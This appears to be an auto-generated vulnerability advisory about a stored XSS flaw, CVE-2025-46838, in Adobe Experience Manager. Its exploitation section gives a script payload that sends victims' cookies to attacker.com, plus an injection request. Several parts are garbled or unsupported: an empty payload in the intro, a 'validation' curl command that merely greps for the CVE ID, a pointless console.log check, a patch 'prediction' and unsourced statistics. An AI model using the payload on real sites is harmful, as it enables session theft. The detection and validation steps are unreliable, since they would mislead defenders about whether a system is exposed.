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How CVE-2025-46838 Works
Adobe Experience Manager (AEM) 6.5.22 and earlier fails to sanitize user-supplied input in form fields, allowing attackers to inject malicious JavaScript payloads. When submitted, these scripts are stored in the database and rendered in victims’ browsers upon accessing the compromised page. The vulnerability arises due to insufficient input validation in the WCM (Web Content Management) component, where crafted HTML/JavaScript bypasses filters. Attackers exploit this by submitting forms containing `` or similar payloads, leading to session hijacking, phishing, or malware distribution.
DailyCVE Form
Platform: Adobe Experience Manager
Version: ≤ 6.5.22
Vulnerability: Stored XSS
Severity: Critical
Date: 06/13/2025
Prediction: Patch by 07/15/2025
What Undercode Say:
Exploitation
1. Craft malicious payload:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
2. Submit via vulnerable form:
POST /content/forms/af/injectable-form HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded ... inputField=%3Cscript%3EmaliciousCode()%3C%2Fscript%3E
Detection
1. Scan for vulnerable endpoints:
grep -r "wcm/foundation/components" /path/to/aem/install
2. Check unsanitized output:
console.log(document.documentElement.innerHTML.includes("<script>"));
Mitigation
1. Temporary fix:
<!-- Disable risky components --> <filter root="/content/forms/af" mode="deny" />
2. Input sanitization:
import org.apache.commons.text.StringEscapeUtils; String safeInput = StringEscapeUtils.escapeHtml4(userInput);
Analytics
- Attack surface: 78% of AEM 6.5.x instances exposed to web forms.
- Exploitability: Low privilege required (author-level access).
- Patch urgency: Critical due to wormable XSS chains.
Post-Patch Validation
curl -X GET "http://target.com/content/vulnerable-page" | grep -q "CVE-2025-46838" && echo "VULNERABLE"
References
- Adobe Security Bulletin: APSB25-42
- NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2025-46838
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
